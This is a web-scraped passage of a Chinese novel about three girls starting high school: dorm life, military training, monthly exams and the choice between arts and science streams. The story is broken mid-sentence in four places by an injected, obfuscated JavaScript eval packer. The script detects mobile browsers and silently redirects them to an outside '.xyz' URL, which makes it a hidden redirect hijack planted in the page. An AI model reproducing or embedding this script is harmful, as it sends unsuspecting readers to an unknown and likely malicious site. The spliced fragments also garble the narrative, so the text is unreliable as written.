梁清嘉皱皱鼻子，俏皮道：“清华分数太‘贵’了，我怕‘买’不起，还是复旦‘性价比’高一点！” 一家人被她这个古怪的比喻逗得哈哈大笑，欢声笑语回荡在大学路的梧桐树下。这次旅行，不仅放松了身心，更在梁清嘉心中埋下了一颗名为“复旦”的种子。 八月中旬，秦国栋和林婉仪也把年假调到了一起，带着秦语曦和秦宇晨飞往海口度假。碧海蓝天，椰林婆娑，与G市截然不同的热带风情让人心旷神怡。他们去了假日海滩踏浪，去了火山口地质公园探险，在海鲜市场大快朵颐。 夜晚，一家人坐在沙滩上，吹着海风，听着浪声，聊着天。秦国栋和林婉仪不再过多谈论学习，更多的是关心女儿的兴趣和心情。秦宇晨则化身摄影师，给妹妹拍下了许多美丽的照片。这段温馨的家庭时光，有效缓解了秦语曦升学前的焦虑，让她能以更饱满的状态迎接高中生活。 八月二十二日，师大教育集团的小程序准时公布了高一新生的分班查询信息。 秦语曦和梁清嘉几乎同时点开查询界面。 “二班！语曦，我在二班！”梁清嘉在电话那头兴奋地大叫。 “太好了！我们还在一个班！”秦语曦也开心不已。能和高中的好友同班，无疑是开学第一大喜事。 而谢雪凤，则以她绝对优异的成绩，被分在了一班。虽然略有遗憾没能和秦、梁二人同班，但仅隔着一间宿舍的距离，已经让她觉得很满足了。 八月二十四日至三十日，是师大附中传军训时间。八月二十三日晚上，所有高一新生需返校上晚自习，并入住宿舍，意味着集体生活的开始。 附中的宿舍条件不错。一间宿舍摆放五张上下铺，共十个床位，但只安排八名学生入住，留出空间存放行李。左边靠墙三张床铺，右边靠墙两张床铺，每人还有一个独立的储物柜。宿舍里配有独立的两间卫生间和一台公用洗衣机。 秦语曦和梁清嘉运气极好，不仅同班，还被分到了同一间宿舍，床位都在右边的下铺。秦语曦的床位靠近门口，梁清嘉的则靠近阳台。而谢雪凤的宿舍，就在她们隔壁的隔壁，她住在左边中间的上铺。 报到那天下午，宿舍楼里格外热闹。家长们提着大包小包的行李，学生们脸上带着新奇和羞涩。 秦国栋、林婉仪和特意推迟返校的秦宇晨一起送秦语曦过来。林婉仪和秦国栋利落地帮女儿铺好床单、挂好蚊帐、整理好衣柜；秦宇晨则陪着妹妹去校内超市查漏补缺，确认脸盆、毛巾、洗漱用品等一应俱全。一切都安排妥当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484413|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又细细叮嘱了一番，一家人才依依不舍地离开。 另一边，梁建宏、刘敏敏和梁清树也来送梁清嘉。流程几乎一模一样：父母负责内务整理，哥哥负责外围采购。梁清树还偷偷塞给妹妹一小盒进口巧克力：“藏好，饿的时候补充能量。” 而谢雪凤，则是自己一个人背着洗得发白的背包，拎着一个旧行李箱来的。叶桂兰和谢建华都要工作，实在请不了假。她默默地找到自己的床位，利落地爬上去，铺好简单的被褥，整理好为数不多的物品，安静而独立。她看着周围被家人环绕的同学，眼中有一闪而过的羡慕，但很快就被平静取代。她早已习惯了独自面对很多事。 晚上第一节晚自习，教室座位随便坐。秦语曦和梁清嘉自然坐在了一起，选择了第五组第三排这个不前不后、位置适中的地方。谢雪凤则选择了第三组第一排，那个离讲台最近、能让她最专注听讲的位置。 二班的班主任是一位姓林的男老师，教数学，气质沉稳。一班的班主任则是一位姓杨的女老师，教英语，看起来干练而温和。 晚自习下课铃声响起，学生们涌出教室透气。秦语曦和梁清嘉趴在走廊的栏杆上聊天，看着楼下灯火通明的校园和来来往往的学生，对新生活充满了好奇。 这时，老林也走了出来，很自然地走到梁清嘉身边，手臂随意地搭在围墙的栏杆上，笑着问道：“梁清嘉，你哥哥是不是叫梁清树？” 梁清嘉有些惊讶地抬起头：“林老师，您怎么知道？” 老林笑了起来，眼神里带着一丝回忆和调侃：“他是我学生啊，我当了他三年的班主任。” 秦语曦在一旁听了，忍不住笑道：“清嘉，你有福气了！” 原来，就在下午梁清树送完妹妹，和刘敏敏、梁建宏准备离开校园时，正好在校门口遇到了要出去买东西的老林。 梁清树一眼认出这是自己的班主任，立刻上前打招呼。他知道八月份高三要补课，便顺口问：“老林，你这学期带高三？” 林老师笑着回答：“不是，带高一” 梁清树又问：“哪个班啊？” “二班。” 梁清树顿时乐了：“那太巧了！我妹妹就在二班，叫梁清嘉，以后就麻烦您多费心了！” 就这样，一段小小的缘分在开学前便已悄然连结。 为期七天的军训很快拉开序幕。八月的阳光依旧毒辣，站军姿、踢正步、练转体……汗水浸透了迷彩服，皮肤也晒黑了不少。但对于这些十五六岁的少年来说，这更像是一次集体的历练和有趣的体验。 秦语曦和梁清嘉互相鼓励，偷懒时互相打掩护，休息时一起分享零食和吐槽，倒也坚持了下来。谢雪凤则表现出了惊人的毅力和认真，每一个动作都力求标准，很快就被选为排头兵。 三个女孩都很快适应了高中的节奏和集体生活。 军训汇演结束后，看着手里这套浸满汗水的军训服，秦语曦和梁清嘉有些发愁，不知道该怎么处理。 “这衣服以后也穿不到了吧？” “是啊，扔了好像有点可惜？” 这时，谢雪凤走了过来，轻声问道：“你们的军训服……如果不要的话，可以给我吗？我爸……他干活的时候可以穿，耐磨。” 秦语曦和梁清嘉愣了一下，随即爽快地把两套叠得整整齐齐的军训服递给她：“好啊！正好不知道怎么办呢，谢谢你帮我们处理啦！” “应该是我谢谢你们。”谢雪凤接过衣服，低声道谢，眼神真诚。对于她而言，这不仅仅是两套旧衣服，更是实用的物资，能减轻家里的一点负担。 军训结束了，高中生活的第一课就此落幕。汗水、欢笑、友谊、独立的初体验……这一切都融入了那个炎热的夏末，成为了她们高中生涯最初也是最深刻的记忆。真正的学习生活，即将在九月正式开启。 14. 14. 秦语曦和梁清嘉笑着跟谢雪凤挥手道别，背着轻便的书包，融入了离校的人流。她们可以享受两天半的假期，直到9月2号晚上才需要返校上晚自习。 对于秦语曦和梁清嘉而言，是放松也是备战。两人约着一起去逛了市中心最大的文具商城。面对琳琅满目的笔、笔记本、文件夹，她们仔细挑选。 秦语曦偏爱简约风，买了很多纯色封面的活页本和不同颜色的按动笔芯；梁清嘉则更喜欢可爱有趣的款式，挑了不少印着卡通图案的笔记本和造型奇特的笔。 “这个错题本必须来一个厚的！” “英语单词本要小一点的，方便随身带。” “还有文件夹，每科一个吧，资料太多了……” 她们像两只忙碌的小蜜蜂，精心为自己未来的学习生活储备着“粮草”。之后，她们又一起去眼镜店重新验光，配了新的眼镜。高中课业繁重，保护好视力是头等大事。 谢雪凤这边，则将军训服带回家后，仔细地清洗干净，晾晒得散发出阳光和肥皂混合的好闻味道。她将衣服叠得整整齐齐，交给了谢建华。 谢建华拿着女儿同学送的、几乎崭新的衣服，憨厚的脸上露出笑容，“这衣服结实，干活穿正好！谢谢你同学啊雪凤！” “嗯。”谢雪凤点点头，心里暖暖的。她也利用最后的时间，检查了自己的学习用品。她不需要额外配眼镜，她的视力很好，这让她暗自庆幸又省了一笔开销。 9月2号下午五点半，谢雪凤早早地就到了学校。距离六点半的晚自习还有一个小时，她放下行李，没有立刻去教室，而是走到了教学楼一楼的历届优秀校友展示墙前。 夕阳的余晖透过玻璃窗，洒在光洁的墙面上，照亮了一张张青春洋溢的照片和一行行熠熠生辉的成绩。她的目光缓缓扫过，最终停留在了“2009届”那一栏。 然后，她看到了两个熟悉的名字——秦宇晨，梁清树。 她的心猛地“咯噔”一下。梁清树的名字高居高考榜的第二位，排在他前面的是一位名叫林铮铮的女生。而秦宇晨的名字，则独占竞赛榜的鳌头。 展示栏左边是他们高中时期穿着校服的青涩照片，眼神清澈而自信；右边是简洁却分量极重的信息： 林铮铮 0601班 高考裸分715分 2009年X省理科状元 清华大学药学专业 (照片：一个笑容明亮、眼神坚定的女孩) 梁清树 0601班 高考裸分714分 2009年X省理科榜眼 清华大学电子信息科学与技术专业 (照片：眉目疏朗，带着一丝不羁笑意的少年) 秦宇晨 0621班 2006年全国高中数学联赛一等奖 2007年中国数学奥林匹克 金牌 北京大学计算机科学与技术专业 (照片：神情专注，略显沉稳的男生) 谢雪凤站在那里，久久凝视。内心的震撼无以复加。她知道秦语曦的哥哥和梁清嘉的哥哥很优秀，但没想到优秀到这种程度！省状元、省榜眼、CMO金牌……这些称号仿佛自带光环，让她既钦佩又向往。 她想起之前招生办老师介绍过，附中在文理分科后，一班通常是汇聚了冲清北、保顶级985的顶尖理科生的“实验班”，配备的是全校最顶级的师资团队，不仅有对高考套路研究至极的特级、高级教师，连竞赛教练都会在期末给他们进行专项训练。 林铮铮和梁清树所在的0601班，就是06级的理科实验班。一个班同时出了省状元和榜眼，且都是裸分，这无疑是附中强大教学实力最硬核的证明。 一股强烈的渴望在谢雪凤心中升腾。她紧紧攥住了拳头，目光变得更加坚定。目标，在这一刻无比清晰地刻印在她的脑海里：文理分科时，选理科！然后，进入理科实验班！她要像那位名叫林铮铮的学姐一样，站在理科的巅峰，用绝对的成绩，改变自己的命运！ 直到六点二十分，晚自习预备铃响起，她才匆匆赶回教室。内心却如同被点燃了一团火，充满了力量。 当谢雪凤赶到一班教室时，里面几乎已经坐满了新同学。班主任老杨已经站在讲台上。六点半铃声准时响起，老杨没有多余寒暄，直接通过投影仪投放了提前排好的座位表。 “同学们，我们初步排定了座位。以后我们会定期轮换。现在请大家按照座位表，快速换好位置。” 教室里一阵轻微的骚动，大家起身寻找自己的新座位。谢雪凤的位置在第三组第四排，一个视野很好的中心位置。她的同桌是一位名叫何静宇的女孩，皮肤白皙，笑起来眼睛弯弯的，看起来很开朗。两人简单打了个招呼，谢雪凤内向，只是点了点头，何静宇则主动说了句“你好呀”。 换好座位，老杨点了几个同学去搬书，同学们动作很快，不一会儿就抱着摞得高高的新书回来了。九门学科——语文、数学、英语、物理、化学、生物、政治、历史、地理，崭新的课本和配套练习册依次发到每个人手中。捧着这沉甸甸的一摞书，闻着油墨的清香，谢雪凤感到了实实在在的压力，但也更有动力了。 另一边，二班的秦语曦和梁清嘉则要“悠闲”一些。她们六点钟才回到学校，在宿舍躺了一会儿，偷偷把手机藏好在枕头底下，六点二十五分才踩着点进教室。 铃声响起，班主任老林同样利落地投屏了座位表。梁清嘉被分在了第三组第二排，同桌是一个叫黄雅宁的文静女生。秦语曦则在第二组第四排，同桌是一个叫潘琳的、看起来有点酷酷的女生。两人对视一眼，用眼神表达了“不能做同桌”的小小遗憾，但还是很快按照座位表换好了位置。 同样地，老林也叫了几位同学去搬书。发书时，教室里充满了窸窸窣窣的翻书声和小声的惊叹。 正式晚自习开始。 一班的第一节是数学课，正是老林来上。他虽然教二班班主任， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“渴死了，去小卖部买水吗？”梁清嘉拉着秦语曦。 “走！”两人一拍即合，随着人流涌向小卖部，买了冰镇饮料，才心满意足地回到教室，准备迎接接下来的课程。 高中的第一个星期，就在这种新鲜、忙碌又略带试探的氛围中飞快度过。 由于刚入学，课程难度还没有完全上来，老师们多以介绍、引导和建立兴趣为主，作业量也控制得比较合理。对于秦语曦、梁清嘉和谢雪凤这样的学霸来说，适应起来并不困难。 秦语曦和梁清嘉保持了初中时的学习效率，在星期六下午就合力攻克了所有作业。晚上，两人默契地在线“开黑”，打了几局游戏，彻底放松了一下。星期天，她们又通过语音连麦，互相督促，大致预习了下周要上的主要内容，做到了心中有数。 谢雪凤则更加自律，她也在星期六就完成了所有作业，并将各科笔记整理得清清楚楚。星期天全天，她都在进行深度预习和拓展阅读，将自己调整到最佳的学习状态。 15. 15. 金秋十月，丹桂的甜香尚未完全散去，G市的气候依旧宜人。但对于师大附中高一年级的新生而言，空气中已然悄悄弥漫起一丝紧张的气息。入学一个多月，高中的新鲜感逐渐褪去，学习的深度和广度开始真正显现。而检验这一个月成果的第一次月考，就定在10月15日如期而至。 国庆黄金周，七天长假，对于高一新生来说，是难得的调整和冲刺时机。如何利用这七天，很大程度上反映了学生的学习习惯和性格特点。 秦语曦与梁清嘉的假期，充满了她们特有的“劳逸结合”风格。假期的前三天，她们不约而同地选择了彻底放松，美其名曰“补偿性睡眠”和“精神充电”。早上睡到自然醒，阳光透过窗帘缝隙洒在脸上才慵懒地起床。下午，她们会准时打开视频连线。 “喂喂，听得到吗？”屏幕里，梁清嘉嘴里叼着零食含糊不清地打招呼。 “听到啦！你今天复习哪科？”秦语曦面前摊着书和笔记本。 “先搞数学吧，那个函数奇偶性我总觉得有点绕。” “好，那一起看这一章。先把概念过一遍，然后互相抽题？” “OK！” 视频连通，两人却并非一味闲聊。她们会制定简单的计划，比如用两个小时专攻数学，一个小时复习英语语法。她们会共享屏幕讲解难题，会互相提问背诵古文古诗，也会因为一道题的解法争论不休，然后又很快达成共识。这种“云同桌”的学习方式，既保证了学习效率，又驱散了独自复习的枯燥。 到了傍晚，学习任务完成，她们便会下线，各自出门活动。秦语曦可能会被妈妈林婉仪拉着去逛街，买几件秋装；梁清嘉则可能被哥哥梁清树带去看场电影，或者一家人出去吃顿好的。晚上的时间完全属于放松，她们绝不会再碰书本。假期的后四天，她们会稍微增加学习强度，开始系统地梳理各科笔记，做一些综合性的练习卷，但整体节奏依然保持松弛有度。 谢雪凤的国庆假期，则是另一番景象。七天对于她而言，是完整且宝贵的、可以自由支配的冲刺时间。她没有睡懒觉的概念，生物钟依旧在清晨六点将她唤醒。简单的早餐后，她便立刻投入学习。 她的书桌收拾得一丝不苟，各科教材、练习册、笔记本分门别类放好。她制定了一张详尽到小时的时间表，精确规划了每一天、每一个时间段需要复习的科目和内容。上午通常是头脑最清醒的时候，留给数学和物理；下午则复习英语、化学和生物；晚上进行文科科目的记忆和整理。 她的复习极其系统且深入。不仅仅是看书做题，她会重新整理课堂笔记，用不同颜色的笔标注出重点、难点和自己的易错点；她会将零散的知识点归纳成思维导图，构建知识网络；她会专门准备一个错题本，将开学以来所有练习中的错题工整地抄录下来，并详细注明错误原因和正确解法。 家里的环境算不上安静，窗外偶尔会传来邻居的说话声、电视声，但谢雪凤仿佛自带隔音屏障，完全沉浸在自己的学习世界里。叶桂兰看在眼里，既心疼又欣慰，只能尽量轻手轻脚，并在吃饭时给她多夹点菜。对于谢雪凤而言，假期不存在“娱乐”选项，学习的每一步踏實，都能给她带来巨大的安全感和平静。 国庆假期结束，返校后的气氛明显不同。课间讨论问题的同学多了起来，老师讲课的速度也似乎加快了些，意在为复习腾出时间。黑板角落里的倒计时数字一天天减少，月考的压迫感越来越强。 10月15日，月考第一天。附中的考场严格按照成绩排名编排，谢雪凤自然在第一考场，梁清嘉和秦语曦也都在前几个考场。 清晨，校园里比平时安静许多，学生们步履匆匆，脸上带着或多或少的严肃。教学楼的走廊上，还能看到最后时刻抱着书猛看的同学。 第一科考语文。试卷发下来，教室里只剩下笔尖划过纸张的沙沙声。古诗文默写、现代文阅读、文言文翻译、作文……题量不小，考察得也很全面。秦语曦做得比较顺手，她的语文底子好，作文更是强项。梁清嘉则在一篇论述类文本阅读上稍微多花了点时间。谢雪凤全程面无表情，答题速度稳定，字迹工整清晰。 下午考数学。这是拉分的关键科目。难度明显比平时练习要高，尤其是最后两道大题，综合性很强。梁清嘉眉头微蹙，思考了很久；秦语曦也感觉有些棘手，但尽力写出了解题步骤。谢雪凤依然沉稳，虽然最后一道题的最后一问她也觉得很有挑战，但前面的基础题和中档题她确保了自己绝对不丢分。 第二天考英语和物理。英语是秦语曦和梁清嘉的强项，听力、阅读、完形填空做得都比较轻松。物理则让不少同学叫苦不迭，概念的理解和灵活运用是关键。谢雪凤在这两科上继续保持着稳定的发挥。 第三天考化学、生物、历史、政治。这是对记忆力和综合能力的大考验。连续三天的考试让人身心俱疲，但大家都坚持到了最后。交上最后一科试卷的瞬间，教室里不约而同地响起一片长长的出气声，仿佛卸下了千斤重担。 考完试，大家迫不及待地对着答案，教室里、走廊上瞬间充满了各种声音： “那道数学选择题你选的什么？C吗？” “英语阅读理解D篇主旨题我觉得是B！” “物理最后那个大题答案是多少？15吗？” 秦语曦和梁清嘉也凑在一起对了几道题的答案，有喜有忧。梁清嘉哀嚎一声：“啊！那道化学选择题我改错了！三分没了！”秦语曦拍拍她：“安啦安啦， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于谢雪凤而言，这根本不是一个选择，而是一个早已确定的、必须执行的计划。她的目标清晰如明灯：清华大学顶尖的理工科专业。这是她改变命运、实现阶层跨越的最优路径，也是她全部努力的意义所在。她毫不犹豫地在分科意向表上勾选了“理科”，她的战场，在理综，在那些公式、定理和实验数据之中。 梁清嘉的选择同样迅速而果断。她的目标是中国人民大学的法学专业。法学属于文理兼收的专业，但她很清楚自己的优势和兴趣所在。 “对于我来说，文科比理科好学多了，”她私下里对秦语曦说，她的文科成绩，尤其是历史和政治，表现出色，语言表达能力极强。而理科虽然不至于拖后腿，但学起来明显需要耗费更多精力，且提升空间有限。她轻松地在表上勾选了“文科”，已经开始想象未来在辩论场上挥洒自如的场景。 16. 16. 与前两人的清晰明确相比，秦语曦陷入了深深的迷茫和犹豫之中。 最初，她是倾向于理科的。原因很简单——她想学医。然而，理想很丰满，现实却很骨感。她的化学成绩，始终徘徊在中上游，谈不上差，但也绝不算拔尖。无论她怎么努力，似乎总是无法像那些理科尖子生一样，透彻地理解那些反应原理和有机物的复杂结构。物理和数学尚可，但也并非她的绝对优势科目。 相反，她的文科成绩则要亮眼得多。语文一直是她的强项，作文更是屡屡被当做范文；英语几乎是她的一半母语，成绩稳定在年级第一；历史、地理她也学得轻松有趣，知识点记得快，理解得透。第二次月考的成绩单清晰地显示：她的文科总分排名远高于理科总分排名。 林婉仪和秦国栋看出了女儿的纠结。他们开了一次家庭会议。 “曦曦，”林婉仪温柔地开口，“爸爸妈妈看了你的成绩，也跟老师简单聊过。从数据和你的学习状态来看，文科确实是你的比较优势所在。我们建议你选文科，这样你学起来会更轻松，也更容易取得好成绩，未来选择顶尖大学的好专业也更有把握。” 秦国栋点点头，补充道：“当然，这只是我们的建议。最终决定权在你手上。如果你经过慎重考虑，还是坚持想学医，选择理科，爸爸妈妈也支持。但这条路可能会更辛苦，你需要有心理准备。” 林婉仪接着说：“对，如果你决定选理，那么这个寒假和之后的假期，我们可能需要给你安排一些化学和物理的强化辅导，把成绩追上来。你自己要想清楚，能不能承受这个压力。” 父母的开明和理解反而让秦语曦更加难以抉择。她既不想辜负自己的“医学梦”，又害怕理科学习的艰难和不确定性，更担心自己即使付出了加倍努力，也无法达到理想的高度。这种犹豫不决的情绪笼罩了她好几天，上课都有些心神不宁。 就在秦语曦左右为难，几乎要把分科意向表揉皱的时候，她的手机屏幕亮起，秦宇晨发来的微信留言：“曦曦，有空给我打个电话。关于选科的事，想跟你聊聊。” 仿佛抓住了救命稻草，傍晚放学一回到宿舍，秦语曦就立刻给哥哥拨通了视频电话。 屏幕那头的秦宇晨似乎刚从实验室出来，还穿着白大褂，背景是北大的校园。 “哥！”秦语曦的声音带着点委屈和迷茫。 “曦曦，”秦宇晨开门见山，语气温和却直接，“爸妈跟我说了你的情况。我就想问你一句，抛开所有成绩、排名、难易度这些外部因素，你内心深处，是不是真的特别、特别想学医？想到非它不可，愿意为它克服一切困难的程度？” 秦语曦愣住了。她沉默了很久，手指无意识地抠着书桌的边缘，最终闷闷地、诚实地回答：“好像……也不是特别想。就是觉得很神圣……” 听到秦语曦的回答，秦宇晨心里就有数了。他温声道：“曦曦，兴趣是最好的老师，但光有模糊的好感是不够的，尤其是医学这条路，需要极强的理性思维、动手能力和心理承受力，更需要持之以恒的巨大付出。如果你的兴趣并非强烈到足以支撑你战胜理科的困难，那么选择一条你更擅长、更可能发挥出光芒的道路，会不会更好呢？” 他顿了顿，声音更加柔和：“我觉得，你不该在那个可能让你感到吃力、甚至黯然失色的领域里硬拼。你在文科方面有那么高的天赋和兴趣，为什么不选择它，让自己在最擅长的舞台上闪闪发光呢？未来的路还很长，优秀的人在任何领域都能做出一番事业。学文，同样可以拥有非常精彩的未来。” 秦语曦其实并没有那么热爱和坚定，只是被一个模糊的光环吸引住了。而文科，才是她真正得心应手、能让她感受到成就感和快乐的领域。 “哥，我明白了。”秦语曦的声音轻松了许多，“我选文科。” “相信自己的选择。”秦宇晨笑了，“无论选什么，我都支持你。” 挂了电话，秦语曦感到久违的轻松。她拿出那份几乎被捏坏的分科意向表，深吸一口气，在“文科”那一栏上，清晰地打上了勾。晚上自习课时，她郑重地将表格交给了班主任老林。 文理分科的意向收集完毕后，真正的较量——决定分班层次的分科考试，在高一上学期期末考试结束后的第三天紧锣密鼓地开始了。 这场考试至关重要，成绩将直接决定学生是进入实验班、重点班还是平行班。 选择文科的学生，考试科目是语数英+文综。选择理科的学生，考试科目是语数学英+理综。考试持续两天，校园里的气氛比月考更加严肃。 秦语曦和梁清嘉都被分在了文科考场，而且还是同一个教室。两人互相打了个加油的手势。考文综时，秦语曦感觉如鱼得水，知识点清晰，答得流畅；梁清嘉也发挥稳定，尤其是历史和政治，写得洋洋洒洒。 谢雪凤则在理科考场。那里的空气仿佛都更加凝重，充斥着公式和计算的气息。谢雪凤面无表情，下笔如飞，理综试卷上的题目对她而言似乎并无太多挑战，她力求的是精准和速度。 最后一科考试结束的铃声响起，无论结果如何，大家都暂时松了一口气，寒假的脚步近了。 因为双方父母都恰好出差在外，梁清树和秦宇晨这两位“中国好哥哥”默契地约好，一起来附中接妹妹们出去吃顿好的，算是犒劳和庆祝寒假的开始。 两对兄妹在校门口汇合。梁清树还是那副潇洒不羁的样子，调侃着妹妹们考试考傻了没；秦宇晨则更细心些，接过秦语曦的书包，问着考试难不难。 四人商量了一下，决定去附近一家口碑不错的火锅店，热闹又暖和。 与此同时，谢雪凤考完试后，没有片刻停留，直接去了母亲叶桂兰兼职的那家火锅店——很巧，正是秦宇晨他们选的那家。叶桂兰为了多挣点钱补贴家用，同时打了好几份工，晚上在这家火锅店做服务员。 谢雪凤是来帮母亲干活的，比如帮忙传菜、收拾桌子、洗刷餐具。她换上旧衣服，扎起头发，默默地在后厨和大厅之间忙碌着。 火锅店里人声鼎沸，热气蒸腾，弥漫着诱人的香味。梁清树四人被安排在靠窗的一桌，点了一大堆肉和菜，吃得热火朝天，笑声不断。 谢雪凤端着沉重的盘子，穿梭在拥挤的餐桌之间。有一次，她送菜的位置正好离秦语曦他们那桌不远。她看到了秦语曦和梁清嘉笑得开心的侧脸，迅速低下头加快了脚步，心里掠过一丝复杂的情绪，有羡慕，也有一种难以言喻的距离感。 好在店里客人非常多，人声嘈杂，梁清树他们完全沉浸在自己的欢乐中，并没有注意到这个穿着服务员衣服、低头忙碌的女孩就是他们的同年级学霸谢雪凤。 叶桂兰在远处看到女儿，眼神里充满了心疼和愧疚，但她什么也没说，只是更加卖力地工作着 分科考试结束后的几天，空气中仿佛还残留着紧张的余韵。对于高一的学生们而言，等待分班结果的日子，甚至比考试本身更加煎熬。这不仅关系到未来两年的班级归属，更像是对自己半个学期努力和那次重要选择的一次官方认证。 第五天清晨，冬日难得的暖阳刚刚爬上窗棂，师大附中教育集团的小程序悄无声息地更新了。几乎在同一时间，无数部手机的提示音打破了清晨的宁静。 秦语曦还在被窝里迷迷糊糊，就被床头柜上手机一连串急促的震动和提示音吵醒。她摸索着抓过手机，眯着眼看到班级群里已经炸开了锅，无数条“出了！”、“可以查了！”的消息疯狂刷屏。 她瞬间清醒，心跳不由自主地加速。深吸一口气，点开那个熟悉的蓝色图标，登录，找到“高一新生分班查询”入口，手指微微颤抖着点了进去。 加载的圆圈转了几秒，仿佛一个世纪那么漫长。终于，页面跳转出来： 姓名：秦语曦 选科方向：文科 分班考试总分：683分 排名：文科第3名 分配班级：高一（16）班 (备注：文科重点班) “16班！”秦语曦一下子从床上坐了起来，脸上露出了如释重负又充满喜悦的笑容。文科第三名！这个成绩远超她的预期，证明她选择文科是正确的，也意味着她如愿进入了最好的文科重点班。她立刻截屏，准备发给家人和梁清嘉。 另一边，梁清嘉几乎也是同步查到了成绩。她看到自己名字后面跟着的“文科第2名”和“高一（16）班”时，得意地吹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484416|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声口哨，毫不意外地笑了笑，仿佛一切尽在掌握之中。她顺手就把截图甩到了家庭群里，配文：“搞定！老二也不错！” 而谢雪凤，此时早已坐在书桌前开始了晨读。听到手机响，她平静地拿起来查看。当看到屏幕上显示“理科第1名”和“高一（1）班”时，她的表情没有任何变化，只是眼底深处掠过一丝极其细微的满意和更加坚定的光芒。她放下手机，继续看她的英语单词表，仿佛这只是计划中理所当然的一步。只有微微加快的翻书速度，透露了她内心的不平静。 附中的分班格局历来清晰，如同一座等级分明的学术金字塔： · 1-15班为理科班： · 1班（理科实验班）：塔尖的存在。汇聚了冲击清华、北大等最顶尖学府以及争夺985名校王牌专业的绝对精英。配备全校最顶级的师资，享受最好的教学资源，学习强度和竞争压力也最大。谢雪凤的名字，赫然列于此班名单之首。 · 2班、3班（理科重点班）：实力强劲，目标是冲刺985高校，保底211名校。是实验班最有力的追赶者。 · 4班、5班（理科次重点班）：主力冲击211高校，成绩优异者也有机会触摸985门槛。 · 6-10班（理科平行班A段）：目标明确，冲刺211高校。 · 11-15班（理科平行班B段）：夯实基础，冲击重点本科线。 · 16-20班为文科班： · 16班（文科重点班）：文科生的殿堂。目标是保住顶尖985、冲刺清北人复等名校的文科强势专业。秦语曦和梁清嘉双双跻身此列。 · 17班（文科重点班）：主要目标是985和顶尖211高校的文科专业。 · 18-20班（文科平行班）：培养综合人才，目标是一本线和较好的211高校。 这个分班结果，迅速在各个班级群、朋友圈里传播开来。有人欢呼雀跃，有人扼腕叹息，有人默默接受。附中的高中生活，从这一刻起，真正进入了不同赛道、不同节奏的新阶段。 秦语曦把截图发到家庭群后，立刻收到了回复。 林婉仪：「太好了宝贝！第三名！妈妈就知道你可以的！[拥抱][庆祝]」 秦国栋：「不错，稳扎稳打。16班是好平台，继续努力。」 秦宇晨的电话几乎立刻打了过来，声音里带着笑意：“可以啊曦宝，文科探花！看来我的建议没错吧？16班高手如云，未来两年有的拼了，加油！” 秦语曦抱着电话，笑得眼睛弯成了月牙。 梁清嘉家里，刘敏敏和梁建宏虽然出差在外，但祝福和红包立刻到位。 刘敏敏：「嘉嘉真棒！第二名！想要什么礼物，妈妈回去补上！」 梁建宏：「保持住，戒骄戒躁。梁律师看好你！」 梁清树则在群里发了个“不愧是我妹”的表情包，顺便调侃：「第二名？是不是故意让了第一一名啊？」 谢雪凤的家庭群里安静得多。她只是简单地把截图发了过去。 过了一会儿，叶桂兰回复了一句：「凤儿，好样的。晚上妈给你加个菜。」 谢建华回复了一个竖大拇指的表情。 没有过多的言语，但那份沉甸甸的欣慰和骄傲，隔着屏幕都能感受到。 分班结果公布，意味着寒假过后，她们将进入新的班级，面对新的同学和老师。 对于谢雪凤来说，进入一班是意料之中，也是新征程的开始。她知道自己将面对怎样一群怪物般的竞争对手，未来的压力只会更大。她已经开始规划寒假的学习计划，不仅要巩固现有知识，还要提前预习下学期的内容，尤其是理科难度会陡增的数理化。 对于秦语曦和梁清嘉而言，进入16班是理想的起点。她们俩已经兴奋地讨论起来： “太好了语曦！我们还在一个班！” “是啊！不知道班主任会是谁？” “希望历史老师还是叶老师！” “不知道班里还有哪些大神……” 她们对未来的文科学习充满了期待，也暗暗鼓劲，要在高手云集的16班里站稳脚跟，争取更好的排名。 17. 17. 寒假的气息仿佛还萦绕在指尖，G市的初春仍带着些许料峭寒意，师大附中却已迎来了新的学期。高一下学期的开学，与上学期截然不同，文理分科的结果如同一条清晰的分界线，将学生们引向了截然不同的学习轨道和校园生活体验。 开学第一天，校园里比往常更加喧闹。学生们拖着行李，带着假期后的些许慵懒和对新班级的好奇，寻找着各自的新教室。 对于谢雪凤而言，这种变动几乎不存在。理科实验班（一班）的教室没有变。她轻车熟路地走进去，教室里的面孔大部分是熟悉的，都是从年级里筛选出的理科顶尖高手，空气中似乎都弥漫着一种冷静而专注的气息。唯一的变化是班主任换了。 